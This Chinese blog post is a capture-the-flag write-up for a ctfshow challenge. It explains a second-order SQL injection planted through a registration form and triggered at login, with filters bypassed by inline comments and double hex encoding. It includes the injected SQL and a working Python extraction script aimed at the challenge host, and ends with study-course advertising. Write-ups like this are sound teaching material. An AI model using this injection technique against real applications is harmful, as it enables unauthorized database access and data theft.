ctfshow-内部赛-签到_ctfshow内部赛签到

文章讲述了如何通过构造注入在register.php和login.php中的SQL操作获取flag,利用内联注释和hex编码绕过过滤。作者分享了代码实现和学习建议,强调了系统学习网络安全的重要性。
摘要由CSDN通过智能技术生成
解题

​ 如何构造注入。我们需要用到两处地方,即两次对数据库操作的地方,一处用于插入payload,在register.php,一处用于执行payload,在login.php,而且只有login.php有强过滤,在register出可以使用union select,还需要注意一点,在user.php中使用了is_numberic()函数对回显username进行了过滤,只能显示数字,但是没关系,这里通过hex编码绕过,可以查一下,该函数对16进制的字符串当作数字处理。

代码审懂了,但是脚本编写能力确实还欠佳,参考了一下别的师傅的代码,做了一点修改,直接可以跑出答案

代码解读:
为什么不直接选出答案,而是通过循环加substr,因为回显username有字数限制,也可以稍微改大一点,可以加快flag的产生

构造出来的SQL:在username处找flag,至于爆表爆字段改一改就行了,这里很巧妙,通过两段插入点,使用内联注释/*,username='*/还有一个注意点,原来的insert的语句使用了换行符,所以p是会被赋值,而不会被#注释掉

insert into test1 set email = '1', username = hex(hex(substr((select/\*\*/flag/\*\*/from/\*\*/flag)from/\*\*/1/\*\*/for/\*\*/1))),/\*,
username='\*/#',
password = '1'

import requests
import re

url1 = "http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/register.php"
url2 = "http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/login.php"
flag = ''
for i in range(1, 50):
    payload = "hex(hex(substr((select/\*\*/flag/\*\*/from/\*\*/flag)from/\*\*/" + str(i) + "/\*\*/for/\*\*/1))),/\*"
    s = requests.session()
    data1 = {
        'e': str(i) + "',username=" + payload,
        'u': "\*/#",
        'p': i
    }
    r1 = s.post(url1, data=data1)
    data2 = {
        'e': i,
        'p': i
    }
    r2 = s.post(url2, data=data2)
    t = r2.text
    try:
        real = re.findall("Hello (.\*?),", t)[0]
        flag += real
    except IndexError:
        strs=bytes.fromhex(flag)
        strss=bytes.fromhex(strs.decode())
        print(strss.decode())
        break



### 给大家的福利


**零基础入门**


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)


同时每个成长路线对应的板块都有配套的视频提供:


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)


因篇幅有限,仅展示部分资料

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值